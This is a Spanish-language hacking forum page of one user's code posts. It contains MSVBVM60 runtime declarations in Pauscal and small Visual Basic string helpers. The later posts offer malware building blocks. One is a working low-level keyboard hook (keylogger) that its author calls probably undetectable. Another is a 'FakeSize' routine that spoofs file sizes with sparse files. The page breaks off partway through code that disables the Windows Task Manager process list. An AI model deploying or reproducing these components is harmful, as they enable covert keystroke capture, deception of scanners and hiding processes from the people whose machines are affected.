Proc IsNull(Referencia Parametro1:Cadena):Booleano, "MSVBVM60" "rtcIsNull"

' ======================== INFORMACIÓN ========================
' Descripción: Verifica si el parametro establecido es un arreglo.
' Parametros:   #1 - Puntero al dato a verificar.
' Devuelve: Verdad si es un puntero a un arreglo, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsArray(Parametro1:Entero):Booleano, "MSVBVM60" "rtcIsArray"

' ======================== INFORMACIÓN ========================
' Descripción: Verifica si una cadena es de tipo numerica.
' Parametros:   #1 - Cadena a verificar (EN FORMATO UNICODE).
' Devuelve: Verdad si la cadena es numerica, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsNumeric(Referencia Parametro1:Cadena):Booleano, "MSVBVM60" "rtcIsNumeric"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el tipo del parametro establecido.
' Parametros:   #1 - Puntero al dato a obtener tipo.
' Devuelve: Tipo de dato que establecimos.
' ====================== FIN INFORMACIÓN ======================
Proc VarType(Parametro1:Entero):Entero, "MSVBVM60" "rtcVarType"

' ======================== INFORMACIÓN ========================
' Descripción: Verifica si el primer parametro es un objeto.
' Parametros:   #1 - Puntero a analizar.
' Devuelve: Verdad si el parametro es un objeto, falso si no es así.
' ====================== FIN INFORMACIÓN ======================
Proc IsObject(Parametro1:Entero):Booleano, "MSVBVM60" "rtcIsObject"

' ======================== INFORMACIÓN ========================
' Descripción: Procesa los eventos pendientes.
' Parametros: Ninguno.
' Devuelve: La cantidad de formularios disponibles.
' ====================== FIN INFORMACIÓN ======================
Proc DoEvents:Entero, "MSVBVM60" "rtcDoEvents"

' ======================== INFORMACIÓN ========================
' Descripción: Emite un sonido por el altavoz del equipo.
' Parametros: Ninguno.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc vbBeep, "MSVBVM60" "rtcBeep"

' ======================== INFORMACIÓN ========================
' Descripción: Crea una carpeta.
' Parametros:   #1 - Ruta de la carpeta a crear (EN FORMATO UNICODE).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc MkDir(Referencia Parametro1:Cadena), "MSVBVM60" "rtcMakeDir"

' ======================== INFORMACIÓN ========================
' Descripción: Elimina una carpeta.
' Parametros:   #1 - Ruta de la carpeta a eliminar (EN FORMATO UNICODE).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc RmDir(Referencia Parametro1:Cadena), "MSVBVM60" "rtcRemoveDir"

' ======================== INFORMACIÓN ========================
' Descripción: ???
' Parametros: Ninguno.
' Devuelve: ???
' ====================== FIN INFORMACIÓN ======================
Proc LocaleID:Entero, "MSVBVM60" "rtcGetHostLCID"

' ======================== Memoria ========================
' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un Byte (1 bytes) de una dirección en memoria.
' Parametros:   #1 - Dirección en memoria del dato a obtener 1 byte.
'               #2 - Variable de tipo Byte que recibirá el byte copiado.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetByte(Dirección:Entero,Referencia Retorno:Byte), "MSVBVM60" "GetMem1"

' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un WordSig (2 bytes) de una dirección en memoria.
' Parametros:   #1 - Dirección en memoria del dato a obtener 1 WordSig (2 bytes).
'               #2 - Variable de tipo WordSig que recibirá los 2 bytes copiados.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetWord(Dirección:Entero,Referencia Retorno:WordSig), "MSVBVM60" "GetMem2"

' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un EnteroSig (4 bytes) de una dirección en memoria.
' Parametros:   #1 - Dirección en memoria del dato a obtener 1 Entero (4 bytes).
'               #2 - Variable de tipo Entero que recibirá los 4 bytes copiados.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetDWord(Dirección:Entero,Referencia Retorno:EnteroSig), "MSVBVM60" "GetMem3"

' ======================== INFORMACIÓN ========================
' Descripción: Lee/Obtiene un Decimal (8 bytes) de una dirección en memoria.
' Parametros:   #1 - Dirección en memoria del dato a obtener 1 Decimal (8 bytes).
'               #2 - Variable de tipo Decimal que recibirá los 8 bytes copiados.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc GetQWord(Dirección:Entero,Referencia Retorno:Decimal), "MSVBVM60" "GetMem4"

' ======================== INFORMACIÓN ========================
' Descripción: Escribe un Byte (1 bytes) en un dato.
' Parametros:   #1 - Dirección en memoria del dato a escribir 1 Byte (1 bytes).
'               #2 - Valor de tipo Byte a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutByte(Destino:Entero,Valor:Byte), "MSVBVM60" "PutMem1"

' ======================== INFORMACIÓN ========================
' Descripción: Escribe un WordSig (2 bytes) en un dato.
' Parametros:   #1 - Dirección en memoria del dato a escribir 1 WordSig (2 bytes).
'               #2 - Valor de tipo WordSig a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutWord(Destino:Entero,Valor:WordSig), "MSVBVM60" "PutMem2"

' ======================== INFORMACIÓN ========================
' Descripción: Escribe un EnteroSig (4 bytes) en un dato.
' Parametros:   #1 - Dirección en memoria del dato a escribir 1 EnteroSig (4 bytes).
'               #2 - Valor de tipo EnteroSig a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutDWord(Destino:Entero,Valor:EnteroSig), "MSVBVM60" "PutMem3"

' ======================== INFORMACIÓN ========================
' Descripción: Escribe un Decimal (8 bytes) en un dato.
' Parametros:   #1 - Dirección en memoria del dato a escribir 1 Decimal (8 bytes).
'               #2 - Valor de tipo Decimal a escribir.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc PutQWord(Destino:Entero,Valor:Decimal), "MSVBVM60" "PutMem4"

' ======================== INFORMACIÓN ========================
' Descripción: Copia los datos de una dirección en memoria a otra.
' Parametros:   #1 - Longitud de bytes a copiar.
'               #2 - Dirección del destino de los datos a copiar.
'               #3 - Dirección de la fuente de los datos a copiar.
' Devuelve: Nada.
' Detelles: Vease API CopyMemory.
' ====================== FIN INFORMACIÓN ======================
Proc CopyBytes(Tamaño,Destino,Fuente:Entero), "MSVBVM60" "__vbaCopyBytes"

' ======================== INFORMACIÓN ========================
' Descripción: Carga en memoria una libreria.
' Parametros:   #1 - Nombre o dirección de la DLL a cargar en memoria (EN FORMATO ANSI).
' Devuelve: Modulo de la DLL cargada.
' Detelles: Vease API LoadLibrary.
' ====================== FIN INFORMACIÓN ======================
Proc LibraryLoad(Referencia Libreria:Cadena):Entero, "MSVBVM60" "EbLibraryLoad"

' ======================== INFORMACIÓN ========================
' Descripción: Descarga en memoria una libreria.
' Parametros:   #1 - Puntero al modulo devuelto por LibraryLoad/LoadLibrary.
' Devuelve: Nada
' Detelles: Vease API FreeLibrary.
' ====================== FIN INFORMACIÓN ======================
Proc LibraryUnload(vbLibLoadPtr:Entero), "MSVBVM60" "EbLibraryUnload"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene la dirección en memoria de una cadena.
' Parametros:   #1 - Cadena a obtener puntero (ASCII o UNICODE).
' Devuelve: Dirección en memoria de la cadena establecida.
' Detelles: Esta API crea una copia del parametro que es establecido.
' ====================== FIN INFORMACIÓN ======================
Proc StrPtr(Str:Cadena):Entero, "MSVBVM60" "VarPtr"

' ======================== Colores ========================
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el valor entero de una combinación RGB/RVA.
' Parametros:   #1 - Valor del color Rojo (0 - 255).
'               #2 - Valor del color Verde (0 - 255).
'               #3 - Valor del color Azul (0 - 255).
' Devuelve: Valor entero que representa el color RGB.
' ====================== FIN INFORMACIÓN ======================
Proc vbRGB(R,G,B:Byte):Entero, "MSVBVM60" "rtcRgb"

' ======================== Conversión de datos. ========================
' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo WordSig (2 bytes) a cadena.
' Parametros:   #1 - Valor de tipo WordSig a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrI2(Number:WordSig):Cadena,"MSVBVM60" "__vbaStrI2"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo EnteroSig (4 bytes) a cadena.
' Parametros:   #1 - Valor de tipo Entero a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrI4(Number:EnteroSig):Cadena,"MSVBVM60" "__vbaStrI4"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo Decimal (8 bytes) a cadena.
' Parametros:   #1 - Valor de tipo Decimal a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrCy(Number:Decimal):Cadena,"MSVBVM60" "__vbaStrCy"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo Real (8 bytes) a cadena.
' Parametros:   #1 - Valor de tipo Real a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrR8(Number:Real):Cadena,"MSVBVM60" "__vbaStrR8"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte un valor de tipo Byte (1 bytes) a cadena.
' Parametros:   #1 - Valor de tipo Byte a convertir.
' Devuelve: Cadena del parametro establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc vbaStrUI1(Number:Byte):Cadena,"MSVBVM60" "__vbaStrUI1"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a WordSig (2 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a WordSig.
' ====================== FIN INFORMACIÓN ======================
Proc vbaI2Str(Referencia Number:Cadena):WordSig,"MSVBVM60" "__vbaI2Str"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a EnteroSig (4 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a EnteroSig.
' ====================== FIN INFORMACIÓN ======================
Proc vbaI4Str(Referencia Number:Cadena):EnteroSig,"MSVBVM60" "__vbaI4Str"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a Decimal (8 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a Decimal.
' ====================== FIN INFORMACIÓN ======================
Proc vbaCyStr(Referencia Number:Cadena):Decimal,"MSVBVM60" "__vbaCyStr"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a Real (8 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a Real.
' ====================== FIN INFORMACIÓN ======================
Proc vbaR8Str(Referencia Number:Cadena):Real,"MSVBVM60" "__vbaR8Str"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena a Byte (1 bytes).
' Parametros:   #1 - Cadena de numerica que se procesará (EN FORMATO UNICODE).
' Devuelve: Parametro de cadena convertido a Byte.
' ====================== FIN INFORMACIÓN ======================
Proc vbaUI1Str(Referencia Number:Cadena):Byte,"MSVBVM60" "__vbaUI1Str"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena UNICODE a ANSI.
' Parametros:   #1 - Puntero a variable de tipo entero que recibira el puntero a la cadena convertida.
'               #2 - Cadena de caracteres que se a de convertir a ANSI (EN FORMATO UNICODE).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc StrToAnsi(Retorno:Entero,Referencia Palabra:Cadena), "MSVBVM60" "__vbaStrToAnsi"

' ======================== INFORMACIÓN ========================
' Descripción: Convierte una cadena ANSI a UNICODE.
' Parametros:   #1 - Puntero a variable de tipo entero que recibira el puntero a la cadena convertida.
'               #2 - Cadena de caracteres que se a de convertir a UNICODE (EN FORMATO ANSI).
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc StrToUnicode(Retorno:Entero,Referencia Palabra:Cadena), "MSVBVM60" "__vbaStrToUnicode"

' ======================== Cadenas ========================
' ======================== INFORMACIÓN ========================
' Descripción: Crea una cadena de Nulos con el tamaño establecido.
' Parametros:   #1 - Longitud de la cadena que devolvera la función.
' Devuelve: Cadena de longitud establecida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Space(Longeur:Entero):Cadena,"MSVBVM60" "rtcSpaceBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Invierte una cadena.
' Parametros:   #1 - Cadena que se invertira (EN FORMATO UNICODE).
' Devuelve: Cadena invertida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc StrReverse(sStr:Cadena):Cadena,"MSVBVM60" "rtcStrReverse"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el caracter ANSI de un valor.
' Parametros:   #1 - Valor a obtener caracter.
' Devuelve: Caracter del valor establecido (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Chr(bChr:Byte):Cadena,"MSVBVM60" "rtcBstrFromAnsi"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene caracteres del lado izquierdo de una cadena.
' Parametros:   #1 - Cadena a extraer caracteres (EN FORMATO UNICODE).
'               #2 - Longitud a obtener.
' Devuelve: Cadena de caracteres extaida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Left(Referencia sStr:Cadena,iLen:Entero):Cadena,"MSVBVM60" "rtcLeftCharBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene caracteres del lado derecho de una cadena.
' Parametros:   #1 - Cadena a extraer caracteres (EN FORMATO UNICODE).
'               #2 - Longitud a obtener.
' Devuelve: Cadena de caracteres extaida (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Right(Referencia sStr:Cadena,iLen:Entero):Cadena,"MSVBVM60" "rtcRightCharBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Elimina todos los espaciós del lado izquierdo y derecho de la cadena establecida.
' Parametros:   #1 - Cadena a eliminar espacios.
' Devuelve: Cadena establecida sin espacios (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc Trim(Referencia ItemPtr:Cadena):Cadena,"MSVBVM60" "rtcTrimBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Elimina todos los espaciós del lado izquierdo de la cadena establecida.
' Parametros:   #1 - Cadena a eliminar espacios.
' Devuelve: Cadena establecida sin espacios (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc LTrim(Referencia ItemPtr:Cadena):Cadena,"MSVBVM60" "rtcLeftTrimBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Elimina todos los espaciós del lado derechi de la cadena establecida.
' Parametros:   #1 - Cadena a eliminar espacios.
' Devuelve: Cadena establecida sin espacios (EN FORMATO UNICODE).
' ====================== FIN INFORMACIÓN ======================
Proc RTrim(Referencia ItemPtr:Cadena):Cadena,"MSVBVM60" "rtcRightTrimBstr"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene la longitud de una cadena.
' Parametros:   #1 - Texto a obtener longitud (EN FORMATO UNICODE).
' Devuelve: Longitud de la cadena establecido.
' ====================== FIN INFORMACIÓN ======================
Proc Len(Referencia Expresion:Cadena):Entero, "MSVBVM60" "__vbaLenBstr"

' ======================== Archivos ========================
' Descripción: Obtiene el tamaño de un archivo.
' Parametros:   #1 - Ruta del archivo a obtener tamaño (en formato UNICODE).
' Devuelve: Tamaño del archivo.
' ====================== FIN INFORMACIÓN ======================
Proc FileLen(Referencia Parametro1:Cadena):Entero, "MSVBVM60" "rtcFileLen"

' ======================== Matematicas ========================
' ======================== INFORMACIÓN ========================
' Descripción: Obtiene la tangente de un valor real.
' Parametros:   #1 - Valor de tipo real a obtener tangente.
' Devuelve: Tangente del valor establecido.
' ====================== FIN INFORMACIÓN ======================
Proc vbTan(Parametro1:Real):Real, "MSVBVM60" "rtcTan"

' ======================== INFORMACIÓN ========================
' Descripción: Obtiene el exponente de un valor real.
' Parametros:   #1 - Valor de tipo real a obtener exponente.
' Devuelve: Exponente del valor establecido.
' ====================== FIN INFORMACIÓN ======================
Proc vbExp(Parametro1:Real):Real, "MSVBVM60" "rtcExp"

' ======================== Otros ========================
' ======================== INFORMACIÓN ========================
' Descripción: Destruye una matriz.
' Parametros:   #1 - Reservado, debe ser cero.
'               #2 - Puntero a la matriz a borrar.
' Detalles: Esta función no redimenciona la matriz, pero vuelve esta in-utilizable.
' Devuelve: Nada.
' ====================== FIN INFORMACIÓN ======================
Proc ArrayDestruct(Reservado,PtrMatriz:Entero), "MSVBVM60" "__vbaAryDestruct"

' ======================== INFORMACIÓN ========================
' Descripción: Destruye una matriz.
' Parametros:   #1 - Reservado, debe ser cero.
'               #2 - Puntero a la matriz a borrar.
' Devuelve: Nada.
' Detalles: Esta función no redimenciona la matriz, pero vuelve esta in-utilizable.
' ====================== FIN INFORMACIÓN ======================
Proc Erase(Reservado,PtrMatriz:Entero), "MSVBVM60" "__vbaErase"

' ======================== INFORMACIÓN ========================
' Descripción: Carga dinamicamente un procedimiento de una libreria en memoria.
' Parametros:   #1 - Estructura DllCallData con los datos requeridos.
' Devuelve: Si la función tiene exito, el procedimiento devuelve la dirección del procedimiento
' establecido en "Parametro1.Procedure" miembro.
' Si la función falla, retorna 0.
' Detalles: Utilize AdmErr para controlar el error de acceso a memoria.
' ====================== FIN INFORMACIÓN ======================
Proc DllFunctionCall(Referencia CallData:DllCallData):Entero
        Var Ptr,PtrProc:Entero,Call:pDllFunctionCall
        Ptr = LoadLibrary("MSVBVM60")
        Si Ptr = 0 Entonces GenerarError &C4855647
        PtrProc = GetProcAddress(Ptr,"DllFunctionCall")
        Si PtrProc = 0 Entonces GenerarError &C0D2DECF
        Call@ = PtrProc
        AdmErr
                Resultado = Call(CallData)
        Controlar
                ' Si se produce un error, no hacer nada.
        FinAdmErr
FinProc


También me gustaria, si conocen alguna función indocumentada de MSVBVM60 la comenten en este post.

Si tienen alguna duda sobre (casi) cualquiera de estas funciones, por favor no duden en preguntar.

Gracias!
#17
ASM / [FASM] Ide
Mayo 01, 2015, 07:53:05 PM
Hola a todos, estoy aprendiendo ensamblador y decidí traducir el IDE de Fasm Assembler al español, espero que les guste.
Link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (CAIDO)

Ingles: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
#18
Visual Basic / [SRC] String Alternativo
Marzo 04, 2015, 12:37:42 PM
El codigo de String Alternativo usando la API FillMemory

Código: php
Option Explicit
Private Declare Sub FillMemory Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)

Private Function StringAlternativo(ByVal Longitud As Long, ByVal Caracter As Byte) As String
Dim Str As String
Str = Space(Longitud)
FillMemory ByVal Str, Longitud, Caracter
StringAlternativo = Str
End Function
#19
Visual Basic / Space Alternativo
Marzo 03, 2015, 03:00:27 PM
Les dejo esta función traducida de Pauscal, utiliza una matriz de tipo byte y la redimenciona al tamaño especificado, luego la devuelve.

Código: vb
Private Function SpaceAlt(longitud As Long) As String
    Dim Matriz() As Byte
    ReDim Matriz(longitud * 2)
    SpaceAlt = Matriz
End Function
#20
Otros lenguajes / [Pauscal] Hookear teclado
Febrero 28, 2015, 12:24:17 PM
Bueno, les dejo este código que permite obtener las pulsaciones del teclado, para mas información, Google!
Espero que le saquen provecho, supongo que estará indetectable, saludos!

Código: php
' Estructuras

Estruc POINTAPI _
,x:Entero _
,y:Entero

Estruc MSG _
,hwnd:Entero _
,message:Entero _
,wParam:Entero _
,lParam:Entero _
,time:Entero _
,pt:POINTAPI

Estruc KBDLLHOOKSTRUCT,_ ' Estructura que recibe los datos.
VkCode,_ ' Código del boton presionado.
ScanCode,_ ' ?
Flags,_ ' Esto establece en 0 si la tecla es presionada, 1 si es soltada.
Time,_ ' Tiempo en el que se presiona y suelta la tecla, en ms.
DwExtraInfo:Entero ' ?

' Apis requeridas.
Proc GetMessage(Referencia:MSG,,,:Entero):Entero,"user32" "GetMessageA"
Proc TranslateMessage(Referencia:MSG):Entero,"user32"
Proc DispatchMessage(Referencia:MSG):Entero,"user32" "DispatchMessageA"
Proc CallNextHookEx(hHook,nCode,wParam:Entero,Referencia lParam:Entero):Entero,"User32.dll"
Proc SetWindowsHookEx(idHook,lpfn,hmod,dwThreadId:Entero):Entero,"User32.dll" "SetWindowsHookExA"
Proc UnhookWindowsHookEx(hHook:Entero):Entero,"User32.dll"
Proc GetModuleHandle(Referencia:Cadena):Entero,"kernel32" "GetModuleHandleA"

Var HookPtr:Entero

' Este procedimiento escanea el valor devuelto por el procedimiento "KeyboardHook" y lo _
' convierte en el caracter correspondiente.
Proc TeclasTraducir(i:Entero):Cadena
Seleccionar i
Caso 13  ; Devolver "[ENTER]"
Caso 81  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Q":"q"
Caso 87  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"W":"w"
Caso 69  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"E":"e"
Caso 82  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"R":"r"
Caso 84  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"T":"t"
Caso 89  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Y":"y"
Caso 85  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"U":"u"
Caso 73  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"I":"i"
Caso 79  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"O":"o"
Caso 80  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"P":"p"
Caso 65  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"A":"a"
Caso 83  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"S":"s"
Caso 68  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"D":"d"
Caso 70  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"F":"f"
Caso 71  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"G":"g"
Caso 72  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"H":"h"
Caso 74  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"J":"j"
Caso 75  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"K":"k"
Caso 76  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"L":"l"
Caso 192 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Ñ":"ñ"
Caso 90  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Z":"z"
Caso 88  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"X":"x"
Caso 67  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"C":"c"
Caso 86  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"V":"v"
Caso 66  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"B":"b"
Caso 78  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"N":"n"
Caso 77  ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"M":"m"
Caso 112 ; Devolver "[F1]"
Caso 113 ; Devolver "[F2]"
Caso 114 ; Devolver "[F3]"
Caso 115 ; Devolver "[F4]"
Caso 116 ; Devolver "[F5]"
Caso 117 ; Devolver "[F6]"
Caso 118 ; Devolver "[F7]"
Caso 119 ; Devolver "[F8]"
Caso 120 ; Devolver "[F9]"
Caso 121 ; Devolver "[F10]"
Caso 122 ; Devolver "[F11]"
Caso 123 ; Devolver "[F12]"
Caso 49  ; Devolver >GetAsyncKeyState(160)?"!":"1"
Caso 50  ; Devolver >GetAsyncKeyState(160)?#34:"2"
Caso 51  ; Devolver >GetAsyncKeyState(160)?"·":"3"
Caso 52  ; Devolver >GetAsyncKeyState(160)?"$":"4"
Caso 53  ; Devolver >GetAsyncKeyState(160)?"%":"5"
Caso 54  ; Devolver >GetAsyncKeyState(160)?"&":"6"
Caso 55  ; Devolver >GetAsyncKeyState(160)?"/":"7"
Caso 56  ; Devolver >GetAsyncKeyState(160)?"(":"8"
Caso 57  ; Devolver >GetAsyncKeyState(160)?")":"9"
Caso 48  ; Devolver >GetAsyncKeyState(160)?"=":"0"
Caso 9   ; Devolver "[TAB]"
Caso 8   ; Devolver "[BORRAR]"
Caso 220 ; Devolver >GetAsyncKeyState(160)?"ª":"º"
Caso 96  ; Devolver "0"
Caso 97  ; Devolver "1"
Caso 98  ; Devolver "2"
Caso 99  ; Devolver "3"
Caso 100 ; Devolver "4"
Caso 101 ; Devolver "5"
Caso 102 ; Devolver "6"
Caso 103 ; Devolver "7"
Caso 104 ; Devolver "8"
Caso 105 ; Devolver "9"
Caso 27  ; Devolver "[ESCAPE]"
Caso 2096852,32 ; Devolver " "
FinSeleccionar
FinProc

Proc KeyboardHook(nCode:Entero,wParam:Word,lParam:Entero):Entero
Si HookEstruc@ = 0 Entonces HookEstruc@ = lParam ' CopyMemory(HookEstruc@,lParam,Long(HookEstruc))
Si nCode = 0 Entonces
Si (HookEstruc.Flags = 0) Entonces ' Si la tecla es precionada (no soltada)
' Acciones!
' EJEMPLO ___________________________
'Seleccionar TeclasTraducir(HookEstruc.VkCode)
' Caso "A"
' Caso "B"
' Caso "[ENTER]"
'FinSeleccionar
FinSi
SiNo
HookPtr = CallNextHookEx(0,HookPtr, wParam, lParam) ' Next
FinSi
FinProc

Var @HookEstruc:KBDLLHOOKSTRUCT
Var Msg:MSG

' Establece el hook en el teclado.
HookPtr = SetWindowsHookEx(13, KeyboardHook@, GetModuleHandle(""), 0)

' Sondeamos los mensajes del sistema.
Mientras GetMessage(Msg,0,0,0) = Verd
TranslateMessage(Msg)
DispatchMessage(Msg)
FinMientras

' Liberamos el hook.
UnhookWindowsHookEx(HookPtr)
#21
Análisis y desarrollo de malwares / [Pauscal] FakeSize
Febrero 26, 2015, 11:51:39 AM
Les dejo este código que traduje hace tiempo, lo que hace es spoofear el peso de un archivo.

Código: php


$ADV-

' Unión que convierte una matriz de byte en cadena.

Unión StrAndIntToArrayByte,Str:Cadena,Bite[]:Byte

' Estructuras.

Estruc SECURITY_ATTRIBUTES, _
  nLength:Entero, _
  lpSecurityDescriptor:Entero, _
  bInheritedHandle:Booleano

Estruc OVERLAPPED, _
Internal, _
InternalHigh, _
offset, _
OffsetHigh, _
hEvent:Entero

' APIS
Proc SetFilePointer(,:Entero,Referencia:Entero,:Entero):Entero,"Kernel32"
Proc CreateFile(Referencia:Cadena,,:Entero,Referencia:SECURITY_ATTRIBUTES,,,:Entero):Entero,"Kernel32" "CreateFileA"
Proc ReadFile(,Referencia:Entero,:Entero,Referencia:Entero,Referencia:OVERLAPPED):Booleano,"Kernel32"
Proc WriteFile(,,:Entero,Referencia:Entero,Referencia:OVERLAPPED):Booleano,"Kernel32"
Proc DeviceIoControl(hDevice:Entero,dwIoControlCode:Entero,Referencia lpInBuffer:Entero,nInBufferSize:Entero,Referencia lpOutBuffer:Entero,nOutBufferSize:Entero,Referencia lpBytesReturned:Entero,lpOverlapped:Entero):Booleano,"Kernel32.dll"
Proc GetFileSize(:Entero,Referencia:Entero):Entero,"Kernel32"
Proc CloseHandle(hObject:Entero):Booleano,"Kernel32"
Proc SetEndOfFile(hFile:Entero):Booleano,"Kernel32"

Const FSCTL_SET_SPARSE = &000900C4
Const FILE_SHARE_READ = &1, FILE_SHARE_WRITE = &2
Const GENERIC_READ = &80000000, GENERIC_WRITE = &40000000
Const OPEN_EXISTING = 3,CREATE_NEW = 1
Const INVALID_HANDLE = -1

' // Alternative Space by Yuki!
Proc Espacio(Longitud:Entero):Cadena
   Var Ptr:StrAndIntToArrayByte
   ReDim Ptr.Bite,Longitud
   Devolver Ptr.Str
FinProc

' "VarPtr"
Proc CadPtr(Referencia lpStr:Cadena):Entero
  Var @Dir:Entero
  Dir@=lpStr@
  Devolver Dir
FinProc

Proc FakeSize(Referencia ArchivoBase,ArchivoFinal:Cadena)
Var Origen,Destino,FSize,bReturn:Entero,Buffer:Cadena
Resultado = Verd
Origen = CreateFile(ArchivoBase,GENERIC_READ,FILE_SHARE_READ,Nulo,OPEN_EXISTING,0,0)
FSize = GetFileSize(Origen,Nulo)
Buffer = Espacio(FSize)
ReadFile(Origen, CadPtr(Buffer), FSize, 0, Nulo)
CloseHandle(Origen)
Destino = CreateFile(ArchivoFinal,GENERIC_WRITE,FILE_SHARE_WRITE,Nulo,CREATE_NEW,0,0)
WriteFile(Destino, CadPtr(Buffer), FSize, 0, Nulo)
bReturn = DeviceIoControl(Destino, FSCTL_SET_SPARSE, 0, 0, 0, 0, 0, 0)
Si bReturn = INVALID_HANDLE Entonces
Salir
FinSi
SetFilePointer(Destino,1073741824, 0, 0)
SetEndOfFile(Destino)
CloseHandle(Destino)
FinProc
#22
Les dejo este código que hice, lo que hace es des-habilitar la lista de proceos del Administrador de tareas.

Código: text
Proc FindWindow(Referencia ,:Cadena):Entero,"User32.dll" "FindWindowA"
Proc FindWindowEx(hwndParent,hwndChildAfter:Entero,Referencia lpszClass,lpszWindow:Cadena):Entero,"User32.dll" "FindWindowExA"
Proc EnableWindow(:Entero,:Booleano):Booleano,"user32"

Proc DisableProcessList(Opcional Estado:Booleano = Falso)
Var PtrPadre,PtrHijo:Entero
PtrPadre = FindWindow("#32770","Administrador de tareas de Windows")
Si PtrPadre Entonces
